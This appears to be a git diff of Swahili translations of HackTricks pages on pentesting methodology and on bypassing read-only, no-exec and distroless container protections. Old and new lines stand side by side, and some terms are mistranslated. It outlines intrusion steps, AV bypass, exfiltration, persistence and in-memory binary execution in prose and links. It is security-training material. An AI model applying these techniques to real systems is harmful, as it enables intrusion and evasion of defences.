Kabla ya kushambulia mwenyeji labda ungependa **kuiba baadhi ya vibali** **kutoka kwa mtandao** au **kunusa** baadhi ya **data** kujifunza **kimya/kwa shughuli(MitM)** unaweza kupata nini ndani ya mtandao. Unaweza kusoma [**Pentesting Network**](pentesting-network/#sniffing).
### 3- [Uchunguzi wa Bandari - Kugundua Huduma](pentesting-network/#scanning-hosts)
### 3- [Uchunguzi wa Bandari - Kugundua huduma](pentesting-network/#scanning-hosts)
Jambo la kwanza la kufanya unapotafuta **mapungufu kwenye mwenyeji** ni kujua ni **huduma zipi zinazoendeshwa kwenye bandari zipi. Hebu tuone [**zana za msingi za kutafuta bandari za wenyeji**](pentesting-network/#scanning-hosts).
Jambo la kwanza la kufanya unapotafuta **mapungufu katika mwenyeji** ni kujua ni **huduma zipi zinazoendeshwa kwenye bandari zipi. Hebu tuone [**zana za msingi za kutafuta bandari za wenyeji**](pentesting-network/#scanning-hosts).
### **4-** [Kutafuta udhaifu wa toleo la huduma](search-exploits.md)
### **4-** [Kutafuta mabao ya toleo la huduma](search-exploits.md)
Marafiki unapojua ni huduma zipi zinazoendeshwa, na labda toleo lao, unapaswa **kutafuta udhaifu uliojulikana**. Labda utakuwa na bahati na kuna shambulio la kukupa kifaa cha kudhibiti...
Marafiki unapojua ni huduma zipi zinazoendeshwa, na labda toleo lao, unapaswa **kutafuta mapungufu yanayojulikana**. Labda utapata bahati na kuna shambulio la kukupa kifaa cha kudhibiti...
### **5-** Huduma za Pentesting
Ikiwa hakuna shambulio la kipekee kwa huduma yoyote inayoendeshwa, unapaswa kutafuta **kosa la kawaida katika kila huduma inayoendeshwa.**
**Ndani ya kitabu hiki utapata mwongozo wa kudukua huduma za kawaida** (na zingine ambazo si za kawaida)**. Tafadhali, tafuta kwenye index ya kushoto** _**PENTESTING**_ **sehemu** (huduma zimepangwa kulingana na bandari zao za msingi).
**Ndani ya kitabu hiki utapata mwongozo wa kufanya pentest kwa huduma za kawaida** (na zingine ambazo si za kawaida)**. Tafadhali, tafuta kwenye index ya kushoto** _**PENTESTING**_ **sehemu** (huduma zimepangwa kulingana na bandari zao za msingi).
**Nataka kufanya kumbukumbu maalum ya** [**Sehemu ya Pentesting ya Wavuti**](../network-services-pentesting/pentesting-web/) **(kwani ndio ndefu zaidi).**\
Pia, mwongozo mdogo juu ya jinsi ya [**kupata udhaifu uliojulikana katika programu**](search-exploits.md) unaweza kupatikana hapa.
**Nataka kufanya kumbukumbu maalum ya** [**Sehemu ya Pentesting Mtandao**](../network-services-pentesting/pentesting-web/) **(kwani ndio ndefu zaidi).**\
Pia, mwongozo mdogo kuhusu jinsi ya [**kupata mapungufu yanayojulikana katika programu**](search-exploits.md) unaweza kupatikana hapa.
**Ikiwa huduma yako haipo kwenye index, tafuta kwenye Google** kwa mafunzo mengine na **niambie ikiwa unataka niiongeze.** Ikiwa **hupati chochote** kwenye Google, fanya **udukuzi wako wa kipofu**, unaweza kuanza kwa **kuunganisha kwenye huduma, kufanya fujo na kusoma majibu** (ikiwa yapo).
**Ikiwa huduma yako haipo kwenye index, tafuta kwenye Google** kwa mafunzo mengine na **niambie ikiwa unataka niiongeze.** Ikiwa **hupati chochote** kwenye Google, fanya **pentesting ya upofu wako**, unaweza kuanza kwa **kuunganisha kwenye huduma, kufanya fujo na kusoma majibu** (ikiwa yapo).
#### 5.1 Zana za Kiotomatiki
Pia kuna zana kadhaa zinazoweza kufanya **tathmini za udhaifu za kiotomatiki**. **Ningependekeza ujaribu** [**Legion**](https://github.com/carlospolop/legion)**, ambayo ni zana niliyoiumba na inategemea maelezo kuhusu kudukua huduma unazoweza kupata katika kitabu hiki.**
Pia kuna zana kadhaa zinazoweza kufanya **tathmini za mapungufu kiotomatiki**. **Ningependekeza ujaribu** [**Legion**](https://github.com/carlospolop/legion)**, ambayo ni zana niliyounda na inategemea maelezo kuhusu pentesting ya huduma unayoweza kupata katika kitabu hiki.**
#### **5.2 Kuvunja-Nguvu huduma**
Katika hali fulani, **Kuvunja-Nguvu** kunaweza kuwa na manufaa kwa **kuambukiza** **huduma**. [**Pata hapa Mwongozo wa haraka wa kuvunja-nguvu kwa huduma tofauti**](brute-force.md)**.**
Katika hali fulani **Kuvunja-Nguvu** inaweza kuwa na manufaa kwa **kuambukiza** **huduma**. [**Pata hapa Mwongozo wa haraka wa kuvunja-nguvu kwa huduma tofauti**](brute-force.md)**.**
### 6- [Udukuzi wa Mtandaoni](phishing-methodology/)
### 6- [Uvamizi wa Mtandao](phishing-methodology/)
Ikiwa mpaka sasa hujapata udhaifu unaovutia **unaweza kuhitaji kujaribu udukuzi** ili kuingia kwenye mtandao. Unaweza kusoma mbinu yangu ya udukuzi [hapa](phishing-methodology/):
Ikiwa mpaka sasa hujapata mapungufu yanayovutia unaweza **jaribu baadhi ya uvuvi** ili kuingia kwenye mtandao. Unaweza kusoma mbinu yangu ya uvuvi [hapa](phishing-methodology/):
### **7-** [**Kupata Shell**](shells/)
Kwa namna fulani unapaswa kuwa umepata **njia ya kutekeleza nambari** kwenye mhanga. Kisha, [orodha ya zana zinazowezekana ndani ya mfumo ambazo unaweza kutumia kupata shell ya nyuma itakuwa muhimu sana](shells/).
Kwa namna fulani unapaswa kuwa umepata **njia ya kutekeleza nambari** kwa muathiriwa. Kisha, [orodha ya zana zinazowezekana ndani ya mfumo ambazo unaweza kutumia kupata shell ya nyuma itakuwa muhimu sana](shells/).
Hasa kwenye Windows unaweza kuhitaji msaada wa kuepuka **antivirus**: [**Angalia ukurasa huu**](../windows-hardening/av-bypass.md)**.**\\
### 8- Ndani
Ikiwa una matatizo na shell, unaweza kupata hapa **mkusanyiko mdogo wa amri muhimu zaidi** kwa wadukuzi:
Ikiwa una matatizo na shell, unaweza kupata hapa **mkusanyiko mdogo wa amri muhimu zaidi** kwa wapentesta:
* [**Linux**](../linux-hardening/useful-linux-commands/)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
* [**Winodows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
### **9 -** [**Kutoa Nje**](exfiltration.md)
Labda utahitaji **kutoa baadhi ya data kutoka kwa mhanga** au hata **kuweka kitu** (kama hati za uongezaji wa mamlaka). **Hapa una** [**chapisho kuhusu zana za kawaida unazoweza kutumia kwa madhumuni haya**](exfiltration.md)**.**
Labda utahitaji **kutoa baadhi ya data kutoka kwa muathiriwa** au hata **kuweka kitu** (kama hati za uongezaji wa mamlaka). **Hapa una** [**chapisho kuhusu zana za kawaida unazoweza kutumia kwa madhumuni haya**](exfiltration.md)**.**
### **10- Ukarabati wa Mamlaka**
#### **10.1- Ukarabati wa Mamlaka wa Kienyeji**
Ikiwa **hauko kama root/Administrator** ndani ya sanduku, unapaswa kutafuta njia ya **kukarabati mamlaka.**\
Hapa unaweza kupata **mwongozo wa kukarabati mamlaka kienyeji katika** [**Linux**](../linux-hardening/privilege-escalation/) **na katika** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Ikiwa wewe si **root/Administrator** ndani ya sanduku, unapaswa kutafuta njia ya **kupandisha mamlaka.**\
Hapa unaweza kupata **mwongozo wa kupandisha mamlaka kienyeji katika** [**Linux**](../linux-hardening/privilege-escalation/) **na katika** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Pia unapaswa kuangalia kurasa hizi kuhusu jinsi **Windows inavyofanya kazi**:
* [**Uthibitisho, Vitambulisho, Mamlaka ya Token na UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
@ -104,32 +104,32 @@ Pia unapaswa kuangalia kurasa hizi kuhusu jinsi **Windows inavyofanya kazi**:
* Jinsi ya [**kuiba vitambulisho**](broken-reference/) kwenye Windows
* Mbinu kadhaa kuhusu [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
**Usisahau kuangalia zana bora za kuchambua njia za Ukarabati wa Mamlaka wa Kienyeji kwenye Windows na Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
**Usisahau kuangalia zana bora za kuhesabu Njia za Ukarabati wa Mamlaka za Kienyeji za Windows na Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Ukarabati wa Mamlaka wa Kikoa**
#### **10.2- Ukarabati wa Mamlaka ya Kikoa**
Hapa unaweza kupata [**methodolojia inayoeleza hatua za kawaida za kuchambua, kukarabati mamlaka na kudumu kwenye Active Directory**](../windows-hardening/active-directory-methodology/). Hata kama hii ni sehemu tu ya sehemu, mchakato huu unaweza kuwa **wa kugusa sana** kwenye kazi ya Pentesting/Red Team.
Hapa unaweza kupata [**methodology inayoeleza hatua za kawaida za kuhesabu, kupandisha mamlaka na kudumu kwenye Active Directory**](../windows-hardening/active-directory-methodology/). Hata kama hii ni sehemu tu ya sehemu, mchakato huu unaweza kuwa **wa kugusa sana** kwenye kazi ya Pentesting/Red Team.
### 11 - POST
#### **11.1 - Uporaji**
#### **11**.1 - Uporaji
Angalia kama unaweza kupata **maneno ya siri zaidi** ndani ya mwenyeji au kama una **upatikanaji wa mashine nyingine** na **mamlaka** ya **mtumiaji wako**.\
Pata njia tofauti za [**kudump maneno ya siri kwenye Windows**](broken-reference/).
#### 11.2 - Udumu
#### 11.2 - Uthabiti
**Tumia aina 2 au 3 tofauti za mbinu za udumu ili usihitaji kudukua mfumo tena.**\
**Hapa unaweza kupata mbinu za** [**udumu kwenye active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
**Tumia aina 2 au 3 tofauti za mbinu za uthabiti ili usihitaji kudukua mfumo tena.**\
**Hapa unaweza kupata mbinu za** [**uthabiti kwenye active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Kamilisha Udumu wa Post kwenye Windows & Linux
TODO: Kamilisha Uthabiti wa Post kwenye Windows & Linux
### 12 - Kupindua
Kwa **vitambulisho vilivyokusanywa** unaweza kuwa na upatikanaji wa mashine nyingine, au labda unahitaji **kugundua na kutafuta mwenyeji mpya** (anza tena Mbinu ya Pentesting) ndani ya mitandao mipya ambapo mwathiriwa wako ameunganishwa.\
Katika kesi hii, tunnelling inaweza kuwa muhimu. Hapa unaweza kupata [**post inayozungumzia kuhusu tunnelling**](tunneling-and-port-forwarding.md).\
Bila shaka unapaswa pia kuangalia post kuhusu [Methodolojia ya Pentesting ya Active Directory](../windows-hardening/active-directory-methodology/). Huko utapata mbinu za kusonga upande, kukarabati mamlaka na kudump vitambulisho.\
Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa na manufaa sana kwa kupindua mazingira ya Windows.
Kwa **vitambulisho vilivyokusanywa** unaweza kuwa na upatikanaji wa mashine nyingine, au labda unahitaji **kugundua na kutafuta mwenyeji mpya** (anza tena Mbinu ya Ukarabati wa Mamlaka) ndani ya mitandao mipya ambapo mwathiriwa wako ameunganishwa.\
Katika kesi hii, tunnelling inaweza kuwa muhimu. Hapa unaweza kupata [**chapisho linalozungumzia kuhusu tunnelling**](tunneling-and-port-forwarding.md).\
Bila shaka unapaswa pia kuangalia chapisho kuhusu [Methodolojia ya Pentesting ya Active Directory](../windows-hardening/active-directory-methodology/). Huko utapata mbinu za kusonga kwa upande, kupandisha mamlaka na kudump vitambulisho.\
Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa na manufaa sana kwa kupindua kwenye mazingira ya Windows..
### ZAIDI
@ -141,7 +141,7 @@ Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa
* [**Kudukua Msingi wa Windows**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
* [**Zana za Msingi za Kudukua**](../exploiting/tools/)
#### [**Python Msingi**](python/)
#### [**Python ya Msingi**](python/)
#### **Mbinu za Crypto**
@ -149,7 +149,7 @@ Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [**Oracle ya Padding**](../cryptography/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunahitaji wewe!** (_inahitajika uwezo wa kuzungumza na kuandika Kipolishi kwa ufasaha_).

View file

@ -1,4 +1,4 @@
# Kudukua ulinzi wa FS: soma tu / hakuna-exec / Distroless
# Kudukua ulinzi wa FS: soma-tu / hakuna-kutekeleza / Distroless
<details>
@ -6,7 +6,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,7 @@ Njia nyingine za kusaidia HackTricks:
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza kwa ufasaha wa Kipolishi_).
@ -27,9 +27,9 @@ Katika video zifuatazo unaweza kupata mbinu zilizotajwa kwenye ukurasa huu ziliz
* [**DEF CON 31 - Kuchunguza Ubadilishaji wa Kumbukumbu ya Linux kwa Siri na Kuepuka**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Mashambulizi ya siri na DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## Hali ya soma tu / hakuna-exec
## Soma-tu / hakuna-kutekeleza hali
Inazidi kuwa kawaida kupata mashine za linux zilizomountiwa na **ulinzi wa mfumo wa faili wa soma tu (ro)**, hasa katika vyombo. Hii ni kwa sababu ya kuendesha chombo na mfumo wa faili wa ro ni rahisi kama kuweka **`readOnlyRootFilesystem: kweli`** katika `securitycontext`:
Inazidi kuwa kawaida kupata mashine za linux zilizomwekwa na **ulinzi wa mfumo wa faili wa soma-tu (ro)**, hasa katika vyombo. Hii ni kwa sababu ya kuendesha chombo na mfumo wa faili wa ro ni rahisi kama kuweka **`readOnlyRootFilesystem: true`** katika `securitycontext`:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -40,43 +40,43 @@ containers:
- name: alpine
image: alpine
securityContext:
<strong> readOnlyRootFilesystem: kweli
</strong> command: ["sh", "-c", "wakati wa kweli; fanya usingizi 1000; fanyika"]
<strong> readOnlyRootFilesystem: true
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Hata hivyo, hata kama mfumo wa faili umemountiwa kama ro, **`/dev/shm`** bado itakuwa inayoweza kuandikwa, hivyo ni uongo hatuwezi kuandika chochote kwenye diski. Walakini, folda hii itakuwa **imemountiwa na ulinzi wa no-exec**, hivyo ikiwa unapakua binary hapa **hutaweza kuitekeleza**.
Hata hivyo, hata kama mfumo wa faili umewekwa kama ro, **`/dev/shm`** bado itakuwa inayoweza kuandikwa, hivyo ni uongo hatuwezi kuandika chochote kwenye diski. Hata hivyo, folda hii itakuwa **imeunganishwa na ulinzi wa hakuna-kutekeleza**, hivyo ikiwa unapakua binary hapa **hutaweza kuitekeleza**.
{% hint style="warning" %}
Kutoka mtazamo wa timu nyekundu, hii inafanya **kuwa ngumu kupakua na kutekeleza** binaries ambazo hazipo kwenye mfumo tayari (kama backdoors au wachunguzi kama `kubectl`).
Kutoka mtazamo wa timu nyekundu, hii inafanya **kuwa ngumu kupakua na kutekeleza** binaries ambazo hazipo tayari kwenye mfumo (kama backdoors au wachunguzi kama `kubectl`).
{% endhint %}
## Kudukua Rahisi: Scripts
Tafadhali kumbuka nilitaja binaries, unaweza **kutekeleza skripti yoyote** ikiwa tu mkalimani yuko ndani ya chombo, kama **skripti ya shell** ikiwa `sh` iko au **skripti ya python** ikiwa `python` imefungwa.
Tafadhali kumbuka nilitaja binaries, unaweza **kutekeleza skripti yoyote** ikiwa mkalimani yupo ndani ya chombo, kama **skripti ya shell** ikiwa `sh` ipo au **skripti ya python** ikiwa `python` imefungwa.
Walakini, hii pekee haitoshi kutekeleza backdoor yako ya binary au zana nyingine za binary unaweza kuhitaji kutekeleza.
Hata hivyo, hii pekee haitoshi kutekeleza backdoor yako ya binary au zana nyingine za binary unazoweza kuhitaji kutekeleza.
## Kudukua Kumbukumbu
Ikiwa unataka kutekeleza binary lakini mfumo wa faili hauruhusu hivyo, njia bora ya kufanya hivyo ni kwa **kutekeleza kutoka kumbukumbu**, kwani **ulinzi hauwafai huko**.
### Kudukua FD + exec syscall
### FD + kutekeleza kizuizi cha syscall
Ikiwa una injini za skripti zenye nguvu ndani ya chombo, kama **Python**, **Perl**, au **Ruby** unaweza kupakua binary kutekeleza kutoka kumbukumbu, kuhifadhi kwenye maelezo ya faili ya kumbukumbu (`create_memfd` syscall), ambayo haitalindwa na ulinzi huo kisha itekeleze **syscall ya `exec`** ikionyesha **fd kama faili ya kutekeleza**.
Ikiwa una injini za skripti zenye nguvu ndani ya chombo, kama **Python**, **Perl**, au **Ruby** unaweza kupakua binary kutekeleza kutoka kumbukumbu, kuhifadhi kwenye maelezo ya faili ya kumbukumbu (`create_memfd` syscall), ambayo haitalindwa na ulinzi huo kisha itekeleze **kizuizi cha syscall** ikionyesha **fd kama faili ya kutekeleza**.
Kwa hii unaweza kutumia mradi [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Unaweza kumpitisha binary na itazalisha skripti katika lugha iliyotajwa na **binary iliyosongwa na b64 encoded** pamoja na maagizo ya **kudecode na kudecompress** katika **fd** iliyoundwa kwa kuita `create_memfd` syscall na wito wa **exec** syscall kuitekeleza.
Kwa hili unaweza kutumia mradi [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Unaweza kumpitisha binary na itazalisha skripti katika lugha iliyoelezwa na **binary iliyosongwa na b64 encoded** pamoja na maagizo ya **kudecode na kufuta** katika **fd** iliyoundwa kwa kuita `create_memfd` syscall na wito wa **kizuizi cha exec** kuitekeleza.
{% hint style="warning" %}
Hii haitafanya kazi katika lugha zingine za skripti kama PHP au Node kwa sababu hawana njia ya msingi ya kuita **syscalls za moja kwa moja** kutoka kwa skripti, hivyo haiwezekani kuita `create_memfd` kuunda **memory fd** kuhifadhi binary.
Hii haitafanya kazi katika lugha zingine za skripti kama PHP au Node kwa sababu hawana njia yoyote ya msingi ya kuita **syscalls za moja kwa moja** kutoka kwa skripti, hivyo haiwezekani kuita `create_memfd` kuunda **fd ya kumbukumbu** kuhifadhi binary.
Zaidi ya hayo, kuunda **fd ya kawaida** na faili katika `/dev/shm` haitafanya kazi, kwa sababu hautaruhusiwa kuitekeleza kwa sababu ya **ulinzi wa no-exec** utatumika.
Zaidi ya hayo, kuunda **fd ya kawaida** na faili katika `/dev/shm` haitafanya kazi, kwa sababu hautaruhusiwa kuitekeleza kwa sababu ya **ulinzi wa hakuna-kutekeleza** utatumika.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) ni mbinu inayokuwezesha **kurekebisha kumbukumbu ya mchakato wako mwenyewe** kwa kubadilisha **`/proc/self/mem`** yake.
Hivyo, **kudhibiti msimbo wa mkusanyiko** unaotekelezwa na mchakato, unaweza kuandika **shellcode** na "kubadilisha" mchakato kutekeleza **msimbo wowote wa aina yoyote**.
Hivyo, **kudhibiti kanuni ya mkusanyiko** inayotekelezwa na mchakato, unaweza kuandika **shellcode** na "kubadilisha" mchakato kutekeleza **kanuni yoyote ya kupindukia**.
{% hint style="success" %}
**DDexec / EverythingExec** itakuruhusu kupakia na **kutekeleza** shellcode yako mwenyewe au **binary yoyote** kutoka **kumbukumbu**.
@ -93,13 +93,13 @@ Kwa maelezo zaidi kuhusu hii technique angalia Github au:
### MemExec
[**Memexec**](https://github.com/arget13/memexec) ni hatua ya asili ya DDexec. Ni **DDexec shellcode demonised**, kwa hivyo kila wakati unapotaka **kuendesha binary tofauti** hauitaji kuzindua upya DDexec, unaweza tu kuendesha shellcode ya memexec kupitia technique ya DDexec na kisha **kuwasiliana na deamon huyu kupitisha binaries mpya za kupakia na kuendesha**.
[**Memexec**](https://github.com/arget13/memexec) ni hatua ya asili ya DDexec. Ni **DDexec shellcode demonised**, hivyo kila wakati unapotaka **kuendesha binary tofauti** hauitaji kuzindua upya DDexec, unaweza tu kuendesha shellcode ya memexec kupitia technique ya DDexec na kisha **kuwasiliana na hii deamon ili kupitisha binaries mpya za kupakia na kuendesha**.
Unaweza kupata mfano jinsi ya kutumia **memexec kuendesha binaries kutoka kwa PHP reverse shell** katika [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
Kwa lengo kama la DDexec, technique ya [**memdlopen**](https://github.com/arget13/memdlopen) inaruhusu njia **rahisi ya kupakia binaries** kwenye kumbukumbu kwa kuziendesha baadaye. Inaweza kuruhusu hata kupakia binaries zenye mahitaji.
Kwa lengo kama la DDexec, technique ya [**memdlopen**](https://github.com/arget13/memdlopen) inaruhusu njia **rahisi ya kupakia binaries** kwenye kumbukumbu kisha kuziendesha baadaye. Inaweza kuruhusu hata kupakia binaries zenye mahitaji.
## Kizuizi cha Distroless
@ -107,33 +107,33 @@ Kwa lengo kama la DDexec, technique ya [**memdlopen**](https://github.com/arget1
Vyombo vya distroless vinavyo **vipengele vichache sana vinavyohitajika kuendesha programu au huduma maalum**, kama maktaba na mahitaji ya runtime, lakini vinaweka pembeni vipengele vikubwa kama meneja wa pakiti, shell, au zana za mfumo.
Lengo la vyombo vya distroless ni **kupunguza eneo la mashambulizi ya vyombo** kwa kutimua vipengele visivyo vya lazima na kupunguza idadi ya mapungufu yanayoweza kutumiwa.
Lengo la vyombo vya distroless ni **kupunguza eneo la mashambulizi ya vyombo kwa kutimua vipengele visivyo vya lazima** na kupunguza idadi ya mapungufu yanayoweza kutumiwa.
### Reverse Shell
Katika chombo cha distroless unaweza **hata usipate `sh` au `bash`** kupata shell ya kawaida. Pia hutapata binaries kama `ls`, `whoami`, `id`... kila kitu ambacho kawaida unakimbia kwenye mfumo.
{% hint style="warning" %}
Kwa hivyo, **hutaweza** kupata **reverse shell** au **kuorodhesha** mfumo kama kawaida.
Hivyo, **hutaweza** kupata **reverse shell** au **kuorodhesha** mfumo kama kawaida.
{% endhint %}
Hata hivyo, ikiwa chombo kilichoharibiwa kinakimbia kwa mfano wavuti ya flask, basi python imewekwa, na kwa hivyo unaweza kupata **Python reverse shell**. Ikiwa inakimbia node, unaweza kupata Node rev shell, na vivyo hivyo na karibu lugha yoyote ya **scripting**.
Hata hivyo, ikiwa chombo kilichoharibiwa kinakimbia kwa mfano wavuti ya flask, basi python imewekwa, na hivyo unaweza kupata **Python reverse shell**. Ikiwa inakimbia node, unaweza kupata Node rev shell, na vivyo hivyo na zaidi ya **lugha ya scripting**.
{% hint style="success" %}
Kwa kutumia lugha ya scripting unaweza **kuorodhesha mfumo** kwa kutumia uwezo wa lugha.
{% endhint %}
Ikiwa hakuna **ulinzi wa `read-only/no-exec`** unaweza kutumia reverse shell yako kufanya **kuandika kwenye mfumo wa faili binaries yako** na **kuwatekeleza**.
Ikiwa hakuna ulinzi wa **`read-only/no-exec`** unaweza kutumia reverse shell yako kudanganya mfumo wa faili na **kuwatekeleza**.
{% hint style="success" %}
Hata hivyo, katika aina hii ya vyombo hivi kawaida ulinzi huu utakuwepo, lakini unaweza kutumia **techniques za awali za utekelezaji wa kumbukumbu kuzipuuza**.
Hata hivyo, katika vyombo kama hivi ulinzi huu kawaida utakuwepo, lakini unaweza kutumia **techniques za kumbukumbu za awali za utekelezaji kuzipuuza**.
{% endhint %}
Unaweza kupata **mifano** jinsi ya **kutumia baadhi ya mapungufu ya RCE** kupata **reverse shells za lugha za scripting** na kutekeleza binaries kutoka kwenye kumbukumbu katika [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Unaweza kupata **mifano** jinsi ya **kutumia baadhi ya mapungufu ya RCE** kupata **reverse shells za lugha za scripting** na kutekeleza binaries kutoka kumbukumbu katika [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunahitaji wewe!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa unahitajika_).
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa vizuri unahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -2,64 +2,65 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kuendesha mchakato** kwa kutumia zana za jamii za **hali ya juu zaidi**.\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa urahisi ikiwa na zana za jamii za **juu zaidi** duniani.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **Usalama wa Msingi wa Docker Engine**
